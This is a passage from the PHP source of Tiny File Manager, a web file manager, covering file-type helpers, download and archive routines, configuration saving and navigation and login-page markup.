            $img = 'fa fa-file-text-o';
            break;
        case 'bak':
        case 'swp':
            $img = 'fa fa-clipboard';
            break;
        case 'doc':
        case 'docx':
        case 'odt':
            $img = 'fa fa-file-word-o';
            break;
        case 'ppt':
        case 'pptx':
            $img = 'fa fa-file-powerpoint-o';
            break;
        case 'ttf':
        case 'ttc':
        case 'otf':
        case 'woff':
        case 'woff2':
        case 'eot':
        case 'fon':
            $img = 'fa fa-font';
            break;
        case 'pdf':
            $img = 'fa fa-file-pdf-o';
            break;
        case 'psd':
        case 'ai':
        case 'eps':
        case 'fla':
        case 'swf':
            $img = 'fa fa-file-image-o';
            break;
        case 'exe':
        case 'msi':
            $img = 'fa fa-file-o';
            break;
        case 'bat':
            $img = 'fa fa-terminal';
            break;
        default:
            $img = 'fa fa-info-circle';
    }

    return $img;
}

/**
 * Get image files extensions
 * @return array
 */
function fm_get_image_exts()
{
    return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}

/**
 * Get video files extensions
 * @return array
 */
function fm_get_video_exts()
{
    return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}

/**
 * Get audio files extensions
 * @return array
 */
function fm_get_audio_exts()
{
    return array('wav', 'mp3', 'ogg', 'm4a');
}

/**
 * Get text file extensions
 * @return array
 */
function fm_get_text_exts()
{
    return array(
        'txt',
        'css',
        'ini',
        'conf',
        'log',
        'htaccess',
        'passwd',
        'ftpquota',
        'sql',
        'js',
        'ts',
        'jsx',
        'tsx',
        'mjs',
        'json',
        'sh',
        'config',
        'php',
        'php4',
        'php5',
        'phps',
        'phtml',
        'htm',
        'html',
        'shtml',
        'xhtml',
        'xml',
        'xsl',
        'm3u',
        'm3u8',
        'pls',
        'cue',
        'bash',
        'vue',
        'eml',
        'msg',
        'csv',
        'bat',
        'twig',
        'tpl',
        'md',
        'gitignore',
        'less',
        'sass',
        'scss',
        'c',
        'cpp',
        'cs',
        'py',
        'go',
        'zsh',
        'swift',
        'map',
        'lock',
        'dtd',
        'svg',
        'asp',
        'aspx',
        'asx',
        'asmx',
        'ashx',
        'jsp',
        'jspx',
        'cgi',
        'dockerfile',
        'ruby',
        'yml',
        'yaml',
        'toml',
        'vhost',
        'scpt',
        'applescript',
        'csx',
        'cshtml',
        'c++',
        'coffee',
        'cfm',
        'rb',
        'graphql',
        'mustache',
        'jinja',
        'http',
        'handlebars',
        'java',
        'es',
        'es6',
        'markdown',
        'wiki',
        'tmp',
        'top',
        'bot',
        'dat',
        'bak',
        'htpasswd',
        'pl',
        'ps1'
    );
}

/**
 * Get mime types of text files
 * @return array
 */
function fm_get_text_mimes()
{
    return array(
        'application/xml',
        'application/javascript',
        'application/x-javascript',
        'image/svg+xml',
        'message/rfc822',
        'application/json',
    );
}

/**
 * Get file names of text files w/o extensions
 * @return array
 */
function fm_get_text_names()
{
    return array(
        'license',
        'readme',
        'authors',
        'contributors',
        'changelog',
    );
}

/**
 * Get online docs viewer supported files extensions
 * @return array
 */
function fm_get_onlineViewer_exts()
{
    return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}

/**
 * It returns the mime type of a file based on its extension.
 * @param extension The file extension of the file you want to get the mime type for.
 * @return string|string[] The mime type of the file.
 */
function fm_get_file_mimes($extension)
{
    $fileTypes['swf'] = 'application/x-shockwave-flash';
    $fileTypes['pdf'] = 'application/pdf';
    $fileTypes['exe'] = 'application/octet-stream';
    $fileTypes['zip'] = 'application/zip';
    $fileTypes['doc'] = 'application/msword';
    $fileTypes['xls'] = 'application/vnd.ms-excel';
    $fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
    $fileTypes['gif'] = 'image/gif';
    $fileTypes['png'] = 'image/png';
    $fileTypes['jpeg'] = 'image/jpg';
    $fileTypes['jpg'] = 'image/jpg';
    $fileTypes['webp'] = 'image/webp';
    $fileTypes['avif'] = 'image/avif';
    $fileTypes['rar'] = 'application/rar';

    $fileTypes['ra'] = 'audio/x-pn-realaudio';
    $fileTypes['ram'] = 'audio/x-pn-realaudio';
    $fileTypes['ogg'] = 'audio/x-pn-realaudio';

    $fileTypes['wav'] = 'video/x-msvideo';
    $fileTypes['wmv'] = 'video/x-msvideo';
    $fileTypes['avi'] = 'video/x-msvideo';
    $fileTypes['asf'] = 'video/x-msvideo';
    $fileTypes['divx'] = 'video/x-msvideo';

    $fileTypes['mp3'] = 'audio/mpeg';
    $fileTypes['mp4'] = 'audio/mpeg';
    $fileTypes['mpeg'] = 'video/mpeg';
    $fileTypes['mpg'] = 'video/mpeg';
    $fileTypes['mpe'] = 'video/mpeg';
    $fileTypes['mov'] = 'video/quicktime';
    $fileTypes['swf'] = 'video/quicktime';
    $fileTypes['3gp'] = 'video/quicktime';
    $fileTypes['m4a'] = 'video/quicktime';
    $fileTypes['aac'] = 'video/quicktime';
    $fileTypes['m3u'] = 'video/quicktime';

    $fileTypes['php'] = ['application/x-php'];
    $fileTypes['html'] = ['text/html'];
    $fileTypes['txt'] = ['text/plain'];
    //Unknown mime-types should be 'application/octet-stream'
    if (empty($fileTypes[$extension])) {
        $fileTypes[$extension] = ['application/octet-stream'];
    }
    return $fileTypes[$extension];
}

/**
 * This function scans the files and folder recursively, and return matching files
 * @param string $dir
 * @param string $filter
 * @return array|null
 */
function scan($dir = '', $filter = '')
{
    $path = FM_ROOT_PATH . '/' . $dir;
    if ($path) {
        $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
        $rii = new RegexIterator($ite, "/(" . $filter . ")/i");

        $files = array();
        foreach ($rii as $file) {
            if (!$file->isDir()) {
                $fileName = $file->getFilename();
                $location = str_replace(FM_ROOT_PATH, '', $file->getPath());
                $files[] = array(
                    "name" => $fileName,
                    "type" => "file",
                    "path" => $location,
                );
            }
        }
        return $files;
    }
}

/**
 * Parameters: downloadFile(File Location, File Name,
 * max speed, is streaming
 * If streaming - videos will show as videos, images as images
 * instead of download prompt
 * https://stackoverflow.com/a/13821992/1164642
 */
function fm_download_file($fileLocation, $fileName, $chunkSize  = 1024)
{
    if (connection_status() != 0)
        return (false);
    $extension = pathinfo($fileName, PATHINFO_EXTENSION);

    $contentType = fm_get_file_mimes($extension);

    if (is_array($contentType)) {
        $contentType = implode(' ', $contentType);
    }

    $size = filesize($fileLocation);

    if ($size == 0) {
        fm_set_msg(lng('Zero byte file! Aborting download'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));

        return (false);
    }

    @ini_set('magic_quotes_runtime', 0);
    $fp = fopen("$fileLocation", "rb");

    if ($fp === false) {
        fm_set_msg(lng('Cannot open file! Aborting download'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        return (false);
    }

    // headers
    header('Content-Description: File Transfer');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');
    header("Content-Transfer-Encoding: binary");
    header("Content-Type: $contentType");

    $contentDisposition = 'attachment';

    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
        $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    } else {
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    }

    header("Accept-Ranges: bytes");
    $range = 0;

    if (isset($_SERVER['HTTP_RANGE'])) {
        list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
        str_replace($range, "-", $range);
        $size2 = $size - 1;
        $new_length = $size - $range;
        header("HTTP/1.1 206 Partial Content");
        header("Content-Length: $new_length");
        header("Content-Range: bytes $range$size2/$size");
    } else {
        $size2 = $size - 1;
        header("Content-Range: bytes 0-$size2/$size");
        header("Content-Length: " . $size);
    }
    $fileLocation = realpath($fileLocation);
    while (ob_get_level()) ob_end_clean();
    readfile($fileLocation);

    fclose($fp);

    return ((connection_status() == 0) and !connection_aborted());
}

/**
 * Class to work with zip files (using ZipArchive)
 */
class FM_Zipper
{
    private $zip;

    public function __construct()
    {
        $this->zip = new ZipArchive();
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $res = $this->zip->open($filename, ZipArchive::CREATE);
        if ($res !== true) {
            return false;
        }
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    $this->zip->close();
                    return false;
                }
            }
            $this->zip->close();
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                $this->zip->close();
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->zip->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->zip->extractTo($path)) {
            $this->zip->close();
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            return $this->zip->addFile($filename);
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        if (!$this->zip->addEmptyDir($path)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        if (!$this->zip->addFile($path . '/' . $file)) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}

/**
 * Class to work with Tar files (using PharData)
 */
class FM_Zipper_Tar
{
    private $tar;

    public function __construct()
    {
        $this->tar = null;
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $this->tar = new PharData($filename);
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    return false;
                }
            }
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->tar->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->tar->extractTo($path)) {
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            try {
                $this->tar->addFile($filename);
                return true;
            } catch (Exception $e) {
                return false;
            }
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        try {
                            $this->tar->addFile($path . '/' . $file);
                        } catch (Exception $e) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}

/**
 * Save Configuration
 */
class FM_Config
{
    var $data;

    function __construct()
    {
        global $root_path, $root_url, $CONFIG;
        $fm_url = $root_url . $_SERVER["PHP_SELF"];
        $this->data = array(
            'lang' => 'en',
            'error_reporting' => true,
            'show_hidden' => true
        );
        $data = false;
        if (strlen($CONFIG)) {
            $data = fm_object_to_array(json_decode($CONFIG));
        } else {
            $msg = 'Tiny File Manager<br>Error: Cannot load configuration';
            if (substr($fm_url, -1) == '/') {
                $fm_url = rtrim($fm_url, '/');
                $msg .= '<br>';
                $msg .= '<br>Seems like you have a trailing slash on the URL.';
                $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
            }
            die($msg);
        }
        if (is_array($data) && count($data)) $this->data = $data;
        else $this->save();
    }

    function save()
    {
        global $config_file;
        $fm_file = is_readable($config_file) ? $config_file : __FILE__;
        $var_name = '$CONFIG';
        $var_value = var_export(json_encode($this->data), true);
        $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration" . chr(13) . chr(10) . "$var_name = $var_value;" . chr(13) . chr(10);
        if (is_writable($fm_file)) {
            $lines = file($fm_file);
            if ($fh = @fopen($fm_file, "w")) {
                @fputs($fh, $config_string, strlen($config_string));
                for ($x = 3; $x < count($lines); $x++) {
                    @fputs($fh, $lines[$x], strlen($lines[$x]));
                }
                @fclose($fh);
            }
        }
    }
}

//--- Templates Functions ---

/**
 * Show nav block
 * @param string $path
 */
function fm_show_nav_path($path)
{
    global $lang, $sticky_navbar, $editFile;
    $isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
?>
    <nav class="navbar navbar-expand-lg mb-4 main-nav <?php echo $isStickyNavBar ?> bg-body-tertiary" data-bs-theme="<?php echo FM_THEME; ?>">
        <a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a>
        <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarSupportedContent">

            <?php
            $path = fm_clean_path($path);
            $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
            $sep = '<i class="bread-crumb"> / </i>';
            if ($path != '') {
                $exploded = explode('/', $path);
                $count = count($exploded);
                $array = array();
                $parent = '';
                for ($i = 0; $i < $count; $i++) {
                    $parent = trim($parent . '/' . $exploded[$i], '/');
                    $parent_enc = urlencode($parent);
                    $array[] = "<a href='?p={$parent_enc}'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>";
                }
                $root_url .= $sep . implode($sep, $array);
            }
            echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
            ?>

            <div class="col-xs-6 col-sm-7">
                <ul class="navbar-nav justify-content-end" data-bs-theme="<?php echo FM_THEME; ?>">
                    <li class="nav-item mr-2">
                        <div class="input-group input-group-sm mr-1" style="margin-top:4px;">
                            <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
                            <div class="input-group-append">
                                <span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
                            </div>
                            <div class="input-group-append btn-group">
                                <span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
                                <div class="dropdown-menu dropdown-menu-right">
                                    <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
                                </div>
                            </div>
                        </div>
                    </li>
                    <?php if (!FM_READONLY): ?>
                        <li class="nav-item">
                            <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
                        </li>
                        <li class="nav-item">
                            <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
                        </li>
                    <?php endif; ?>
                    <?php if (FM_USE_AUTH): ?>
                        <li class="nav-item avatar dropdown">
                            <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-expanded="false">
                                <i class="fa fa-user-circle"></i>
                            </a>

                            <div class="dropdown-menu dropdown-menu-end text-small shadow" aria-labelledby="navbarDropdownMenuLink-5" data-bs-theme="<?php echo FM_THEME; ?>">
                                <?php if (!FM_READONLY): ?>
                                    <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                                <?php endif ?>
                                <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
                                <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
                            </div>
                        </li>
                    <?php else: ?>
                        <?php if (!FM_READONLY): ?>
                            <li class="nav-item">
                                <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            </li>
                        <?php endif; ?>
                    <?php endif; ?>
                </ul>
            </div>
        </div>
    </nav>
<?php
}

/**
 * Show alert message from session
 */
function fm_show_message()
{
    if (isset($_SESSION[FM_SESSION_ID]['message'])) {
        $class = isset($_SESSION[FM_SESSION_ID]['status']) ? $_SESSION[FM_SESSION_ID]['status'] : 'ok';
        echo '<p class="message ' . $class . '">' . $_SESSION[FM_SESSION_ID]['message'] . '</p>';
        unset($_SESSION[FM_SESSION_ID]['message']);
        unset($_SESSION[FM_SESSION_ID]['status']);
    }
}

/**
 * Show page header in Login Form
 */
function fm_show_header_login()
{
    header("Content-Type: text/html; charset=utf-8");
    header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
    header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
    header("Pragma: no-cache");

    global $favicon_path;
?>
    <!DOCTYPE html>
    <html lang="en" data-bs-theme="<?php echo (FM_THEME == "dark") ? 'dark' : 'light' ?>">

    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
        <meta name="author" content="CCP Programmers">
        <meta name="robots" content="noindex, nofollow">
        <meta name="googlebot" content="noindex">
        <?php if ($favicon_path) {
            echo '<link rel="icon" href="' . fm_enc($favicon_path) . '" type="image/png">';
        } ?>
        <title><?php echo fm_enc(APP_TITLE) ?></title>
        <?php print_external('pre-jsdelivr'); ?>
        <?php print_external('css-bootstrap'); ?>
        <style>
            body.fm-login-page {
                background-color: #f7f9fb;
                font-size: 14px;
                background-color: #f7f9fb;
                background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");
            }

            .fm-login-page .brand {
                width: 121px;
                overflow: hidden;
                margin: 0 auto;
                position: relative;
                z-index: 1
            }

            .fm-login-page .brand img {
                width: 100%
            }

            .fm-login-page .card-wrapper {
                width: 360px;
            }

            .fm-login-page .card {
                border-color: transparent;
                box-shadow: 0 4px 8px rgba(0, 0, 0, .05)
            }

            .fm-login-page .card-title {
                margin-bottom: 1.5rem;
                font-size: 24px;
                font-weight: 400;
            }

            .fm-login-page .form-control {
                border-width: 2.3px
            }

            .fm-login-page .form-group label {
                width: 100%
            }

            .fm-login-page .btn.btn-block {
                padding: 12px 10px
            }

            .fm-login-page .footer {
                margin: 20px 0;
                color: #888;
                text-align: center
            }

            @media screen and (max-width:425px) {
                .fm-login-page .card-wrapper {
                    width: 90%;
                    margin: 0 auto;
                    margin-top: 10%;
                }
            }

            @media screen and (max-width:320px) {
                .fm-login-page .card.fat {
                    padding: 0
                }

                .fm-login-page .card.fat .card-body {
                    padding: 15px
                }
            }

            .message {
                padding: 4px 7px;
                border: 1px solid #ddd;
                background-color: #fff
            }

            .message.ok {
                border-color: green;
                color: green
            }

            .message.error {
                border-color: red;
                color: red
            }

            .message.alert {
                border-color: orange;
                color: orange
            }

            body.fm-login-page.theme-dark {
                background-color: #2f2a2a;
            }

            .theme-dark svg g,
            .theme-dark svg path {
                fill: #ffffff;
            }

            .theme-dark .form-control {
                color: #fff;
                background-color: #403e3e;
            }

            .h-100vh {
